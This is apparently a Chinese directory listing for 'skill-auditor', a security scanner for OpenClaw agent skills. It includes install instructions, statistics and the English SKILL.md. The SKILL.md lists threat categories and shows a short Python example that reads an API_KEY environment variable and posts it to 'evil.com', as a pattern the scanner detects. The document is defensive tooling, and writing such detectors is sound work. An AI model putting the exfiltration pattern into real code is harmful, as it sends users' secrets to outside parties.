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Agent Skill · 研究检索

skill-auditor(技能审核员)

用于辅助安全审计、权限检查、凭据风险、认证流程和常见漏洞排查。它适合让 Agent 梳理敏感配置、检查依赖风险、分析鉴权逻辑或生成安全复核清单。使用时不能把工具输出直接当最终结论,涉及密钥、令牌、用户数据或生产系统时,应先确认最小权限、脱敏方式和操作边界。

skill-auditor 是研究检索类 Agent Skill,可用宿主为 OpenClaw,通过ClawHub获取,权限为接触敏感数据;许可证为 MIT-0,第三方扫描已通过,按安装量在研究检索类的 73,675 个 Skill 里排第 1,455。

总安装 91,703周安装 3,674GitHub Stars 1下载 29,686核验 2026-05-01

安装说明

本站只整理中文说明,不托管安装包,也不代用户安装。
GitHub
许可证
MIT-0
版本
2.1.3

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:skill-auditor(技能审核员)
来源仓库:https://github.com/rubenaquispe/skill-auditor
安装命令:
openclaw skills install skill-auditor
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 OpenClaw 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

ClawHubOpenClaw
openclaw skills install skill-auditor

这个 Skill 是做什么的

研究检索类 Skill 主要解决「找资料、核对事实、把来源整理清楚」的问题,通常会让助手先检索再总结。

安全扫描器可在恶意技术窃取您的数据之前将其捕获。检测凭证盗窃、即时注入和隐藏的后门。零设置即可立即工作。可选的 AST 数据流分析可跟踪数据如何在代码中移动。

上手步骤

4 步
  1. 1

    确认自己的宿主工具

    公开资料标注支持 OpenClaw;先确认自己用的是其中之一,再按对应工具的 Skills 目录放置。

  2. 2

    拿到安装命令

    可以直接复制的命令是 openclaw skills install skill-auditor;命令里的占位符换成自己的路径或密钥再执行。

  3. 3

    安装后重启宿主

    命令执行完要完全退出宿主工具再打开,让新装的 Skill 被重新扫描到,否则列表里可能看不到。

  4. 4

    按最小权限试用

    它需要接触敏感数据,先在测试目录或测试账号里跑,确认没问题再放到正式项目。

常见问题

6 条

skill-auditor 怎么安装?

在终端执行 openclaw skills install skill-auditor。装完完全退出宿主工具再打开,让它重新扫描本地 Skill。

skill-auditor 支持哪些 AI 工具?

公开资料标注支持 OpenClaw。其他工具只要能读取本地 Skill 目录,一般也能手动放进去,但要自己确认触发方式是否一致。

skill-auditor 需要什么权限?

权限级别是接触敏感数据。该 Skill 可能接触密钥、Token、环境变量或敏感配置,应进入高风险复核队列,默认不自动发布。

skill-auditor 是免费的吗?

来源标注的许可证是 MIT-0。本站不代收任何费用,也不托管安装包;能否商用、要不要署名,以许可证原文为准。

skill-auditor 用的人多吗?

公开数据是累计安装 91,703 次,近一周安装 3,674 次,下载 29,686 次,GitHub 1 星。这些数字来自第三方目录统计,只能当作热度参考,不代表质量或安全性。

skill-auditor 安全吗?

第三方扫描结果为通过,但这只覆盖已知的静态检查项,不能替代自己读一遍源码和安装命令。

值得选的地方和要先想清楚的地方

值得选的地方

  • 专注 OpenClaw 一种宿主,触发方式和使用习惯不用来回切换。
  • 许可证明确为 MIT-0,商用和分发边界好判断。
  • 第三方扫描已通过,常见的高风险行为没有命中。

先想清楚的地方

  • 需要接触敏感数据,装到常用环境前要先评估影响面。
  • 第三方目录整理,版本更新和行为细节以来源仓库为准。

适不适合你

更适合

  • 已经在用 OpenClaw,想直接扩展它能力的人。
  • 需要处理研究检索类任务、又不想每次都手写提示词的人。
  • 需要许可证清楚、并且有第三方扫描结果的团队项目。

不太适合

  • 环境里有大量密钥、凭证,不方便给第三方 Skill 读取的人。
  • 需要厂商级技术支持和 SLA 的生产系统。

研究检索类 Skill 对比

6 个同类
Skill总安装GitHub 星权限许可证扫描
find-skills

寻找技能 · Codex、Claude

31,199,81316,486操作浏览器MIT有提醒
self-improving-agent

自我改进 Agent · OpenClaw

16,464,0023,396接触敏感数据MIT-0通过
soultrace

灵魂追踪 · Codex、Claude

7,588,94412需要联网未明确有提醒
self-improving

自我完善 · OpenClaw

6,829,2841,046需要联网MIT-0通过
microsoft-foundry

微软代工厂 · Codex、Claude

6,614,144764调用外部服务未明确有提醒
skill-auditor

技能审核员 · 本页

91,7031接触敏感数据MIT-0通过

按安装量取同分类前几名;数字来自第三方目录统计,只作热度参考,不代表质量结论。

SKILL.md 原文

name
skill-auditor
version
2.1.3
description
Security scanner that catches malicious skills before they steal your data. Detects credential theft, prompt injection, and hidden backdoors. Works immediately with zero setup. Optional AST dataflow analysis traces how your data moves through code.

Skill Auditor v2.1

Enhanced security scanner that analyzes skills and provides comprehensive threat detection with advanced analysis capabilities.

After Installing

Run the setup wizard to configure optional features:

cd skills/skill-auditor
node scripts/setup.js

The wizard explains each feature, shows real test data, and lets you choose what to enable.

Quick Start

Scan a skill:

node skills/skill-auditor/scripts/scan-skill.js <skill-directory>

Audit all your installed skills:

node skills/skill-auditor/scripts/audit-installed.js

Setup Wizard (Recommended)

Run the interactive setup to configure optional features:

cd skills/skill-auditor
node scripts/setup.js

The wizard will:

  1. Detect your OS (Windows, macOS, Linux)
  2. Check Python availability (required for AST analysis)
  3. Offer to install tree-sitter for dataflow analysis
  4. Configure auto-scan on skill installation
  5. Save preferences to ~/.openclaw/skill-auditor.json

Setup Commands

node scripts/setup.js           # Interactive setup wizard
node scripts/setup.js --status  # Show current configuration
node scripts/setup.js --enable-ast  # Just enable AST analysis

Audit All Installed Skills

Scan every skill in your OpenClaw installation at once:

node scripts/audit-installed.js

Options:

node scripts/audit-installed.js --severity critical  # Only critical issues
node scripts/audit-installed.js --json               # Save results to audit-results.json
node scripts/audit-installed.js --verbose            # Show top findings per skill

Output:

  • Color-coded risk levels (🚨 CRITICAL, ⚠️ HIGH, 📋 MEDIUM, ✅ CLEAN)
  • Summary stats (total scanned, by risk level)
  • Detailed list of high-risk skills with capabilities

Cross-Platform Installation

Core Scanner (No Dependencies)

Works on all platforms with just Node.js (which OpenClaw already provides).

AST Analysis (Optional)

Requires Python 3.8+ and tree-sitter packages.

PlatformPython InstallTree-sitter Install
WindowsPre-installed or winget install Python.Python.3pip install tree-sitter tree-sitter-python
macOSPre-installed or brew install python3pip3 install tree-sitter tree-sitter-python
Linuxapt install python3-pippip3 install tree-sitter tree-sitter-python

Note: Tree-sitter has prebuilt wheels for all platforms — no C++ compiler needed!

Core Features (Always Available)

  • Static Pattern Analysis — Regex-based detection of 40+ threat patterns
  • Intent Matching — Contextual analysis against skill's stated purpose
  • Accuracy Scoring — Rates how well behavior matches description (1-10)
  • Risk Assessment — CLEAN / LOW / MEDIUM / HIGH / CRITICAL levels
  • OpenClaw Specifics — Detects MEMORY.md, sessions tools, agent manipulation
  • Remote Scanning — Works with GitHub URLs (via scan-url.js)
  • Visual Reports — Human-readable threat summaries

Advanced Features (Optional)

1. Python AST Dataflow Analysis

Traces data from sources to sinks through code execution paths

npm install tree-sitter tree-sitter-python
node scripts/scan-skill.js <skill> --mode strict

What it detects:

  • Environment variables → Network requests
  • File reads → HTTP posts
  • Memory file access → External APIs
  • Cross-function data flows

Example:

# File 1: utils.py
def get_secrets(): return os.environ.get('API_KEY')

# File 2: main.py  
key = get_secrets()
requests.post('evil.com', data=key)  # ← Dataflow detected!

2. VirusTotal Binary Scanning

Scans executable files against 70+ antivirus engines

export VIRUSTOTAL_API_KEY="your-key-here"
node scripts/scan-skill.js <skill> --use-virustotal

Supported formats: .exe, .dll, .bin, .wasm, .jar, .apk, etc.

Output includes:

  • Malware detection status
  • Engine consensus (e.g., "3/70 engines flagged")
  • Direct VirusTotal report links
  • SHA256 hashes for verification

3. LLM Semantic Analysis

Uses AI to understand if detected behaviors match stated intent

# Requires OpenClaw gateway running
node scripts/scan-skill.js <skill> --use-llm

How it works:

  1. Groups findings by category
  2. Asks LLM: "Does this behavior match the skill's description?"
  3. Adjusts severity based on semantic understanding
  4. Provides confidence ratings

Example:

  • Finding: "Accesses MEMORY.md"
  • Skill says: "Optimizes agent memory usage"
  • LLM verdict: "LEGITIMATE — directly supports stated purpose"
  • Result: Severity downgraded, marked as expected

4. SARIF Output for CI/CD

GitHub Code Scanning compatible format

node scripts/scan-skill.js <skill> --format sarif --fail-on-findings

GitHub integration:

# .github/workflows/skill-scan.yml
- name: Scan Skills
  run: |
    node skill-auditor/scripts/scan-skill.js ./skills/new-skill \
      --format sarif --fail-on-findings > results.sarif
- name: Upload SARIF
  uses: github/codeql-action/upload-sarif@v2
  with:
    sarif_file: results.sarif

5. Detection Modes

Adjustable sensitivity levels

--mode strict      # All patterns, higher false positives
--mode balanced    # Default, optimized accuracy  
--mode permissive  # Only critical patterns

Usage Examples

Basic Scanning

# Scan local skill
node scripts/scan-skill.js ../my-skill

# Scan with JSON output
node scripts/scan-skill.js ../my-skill --json report.json

# Format visual report
node scripts/format-report.js report.json

Advanced Scanning

# Full analysis with all features
node scripts/scan-skill.js ../my-skill \
  --mode strict \
  --use-virustotal \
  --use-llm \
  --format sarif \
  --json full-report.sarif

# CI/CD integration
node scripts/scan-skill.js ../my-skill \
  --format sarif \
  --fail-on-findings \
  --mode balanced

Remote Scanning

# Scan GitHub skill without cloning
node scripts/scan-url.js "https://github.com/user/skill" --json remote-report.json
node scripts/format-report.js remote-report.json

Installation Options

Zero Dependencies (Recommended for CI)

# Works immediately — no installation needed
node skill-auditor/scripts/scan-skill.js <skill>

Optional Advanced Features

cd skills/skill-auditor

# Install all optional features
npm install

# Or install selectively:
npm install tree-sitter tree-sitter-python  # AST analysis
npm install yara                            # YARA rules (future)

# VirusTotal requires API key only:
export VIRUSTOTAL_API_KEY="your-key"

# LLM analysis requires OpenClaw gateway:
openclaw gateway start

What Gets Detected

Core Threat Categories

  • Prompt Injection — AI instruction manipulation attempts
  • Data Exfiltration — Unauthorized data transmission
  • Sensitive File Access — MEMORY.md, credentials, SSH keys
  • Shell Execution — Command injection, arbitrary code execution
  • Path Traversal — Directory escape attacks
  • Obfuscation — Hidden/encoded content
  • Persistence — System modification for permanent access
  • Privilege Escalation — Browser automation, device access

OpenClaw-Specific Patterns

  • Memory File Writes — Persistence via MEMORY.md, AGENTS.md
  • Session Tool Abuse — Data exfiltration via sessions_send
  • Gateway Control — config.patch, restart commands
  • Node Device Access — camera_snap, screen_record, location_get

Advanced Detection (with optional features)

  • Python Dataflow — Variable tracking across functions/files
  • Binary Malware — Known malicious executables via VirusTotal
  • Semantic Intent — LLM-based behavior vs. description analysis

Output Formats

1. JSON (Default)

{
  "skill": { "name": "example", "description": "..." },
  "riskLevel": "HIGH", 
  "accuracyScore": { "score": 7, "reason": "..." },
  "findings": [...],
  "summary": { "analyzersUsed": ["static", "ast-python", "llm-semantic"] }
}

2. SARIF (GitHub Code Scanning)

--format sarif

Uploads to GitHub Security tab, integrates with pull request checks.

3. Visual Report

node scripts/format-report.js report.json

Human-readable summary with threat gauge and actionable findings.

Configuration

Environment Variables

VIRUSTOTAL_API_KEY="vt-key"     # VirusTotal integration
DEBUG="1"                       # Verbose error output

Command Line Options

--json <file>         # JSON output file
--format sarif        # SARIF output for GitHub
--mode <mode>         # strict|balanced|permissive  
--use-virustotal     # Enable binary scanning
--use-llm           # Enable semantic analysis
--custom-rules <dir> # Additional YARA rules
--fail-on-findings  # Exit code 1 for HIGH/CRITICAL
--help              # Show all options

Architecture Overview

skill-auditor/
├── scripts/
│   ├── scan-skill.js         # Main scanner (v2.0)
│   ├── scan-url.js           # Remote GitHub scanning  
│   ├── format-report.js      # Visual report formatter
│   ├── analyzers/            # Pluggable analysis engines
│   │   ├── static.js         # Core regex patterns (zero-dep)
│   │   ├── ast-python.js     # Python dataflow analysis
│   │   ├── virustotal.js     # Binary malware scanning
│   │   └── llm-semantic.js   # AI-powered intent analysis
│   └── utils/
│       └── sarif.js          # GitHub Code Scanning output
├── rules/
│   └── default.yar           # YARA format patterns
├── package.json              # Optional dependencies
└── references/              # Documentation (unchanged)

Backward Compatibility

v1.x commands work unchanged:

node scan-skill.js <skill-dir>                    # ✅ Works
node scan-skill.js <skill-dir> --json out.json    # ✅ Works  
node format-report.js out.json                    # ✅ Works

New v2.0 features are opt-in:

node scan-skill.js <skill-dir> --use-llm          # ⚡ Enhanced
node scan-skill.js <skill-dir> --use-virustotal   # ⚡ Enhanced

Limitations

Core Scanner

  • Novel obfuscation — New encoding techniques not yet in patterns
  • Binary analysis — Skips binary files unless VirusTotal enabled
  • Sophisticated prompt injection — Advanced manipulation techniques may evade regex

Optional Features

  • Python AST — Limited to Python files, basic dataflow only
  • VirusTotal — Rate limited (500 queries/day free tier)
  • LLM Analysis — Requires internet connection and OpenClaw gateway
  • YARA Rules — Framework ready but custom rules not fully implemented

Troubleshooting

Common Issues

"tree-sitter dependencies not available"

npm install tree-sitter tree-sitter-python

"VirusTotal API error: 403"

export VIRUSTOTAL_API_KEY="your-actual-key"

"LLM semantic analysis failed"

# Check OpenClaw gateway is running:
openclaw gateway status
curl http://localhost:18789/api/v1/health

"SARIF output not generated"

# Ensure all dependencies installed:
cd skills/skill-auditor && npm install

Debug Mode

DEBUG=1 node scripts/scan-skill.js <skill>

Contributing

Adding New Patterns

  1. Static patterns → Edit scripts/analyzers/static.js
  2. YARA rules → Add to rules/ directory
  3. Python dataflow → Extend scripts/analyzers/ast-python.js

Testing New Features

# Test against multiple skills:
node scripts/scan-skill.js ../blogwatcher --use-llm --mode strict
node scripts/scan-skill.js ../summarize --use-virustotal  
node scripts/scan-skill.js ../secure-browser-agent --format sarif

Security Note

This scanner is one layer of defense, not a guarantee. Always:

  • Review code manually for novel attacks
  • Re-scan after skill updates
  • Use multiple security tools
  • Trust but verify — especially for high-privilege skills

For sensitive environments, enable all advanced features:

node scripts/scan-skill.js <skill> \
  --mode strict \
  --use-virustotal \
  --use-llm \
  --fail-on-findings

平台分布

OpenClaw

83.36%
按下载量换算24,746

安全审计

VirusTotal

通过

ClawScan

通过

Static analysis

未展示

权限和风险

接触敏感数据

该 Skill 可能接触密钥、Token、环境变量或敏感配置,应进入高风险复核队列,默认不自动发布。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。目前只有一个公开来源,建议同时核对源仓库。

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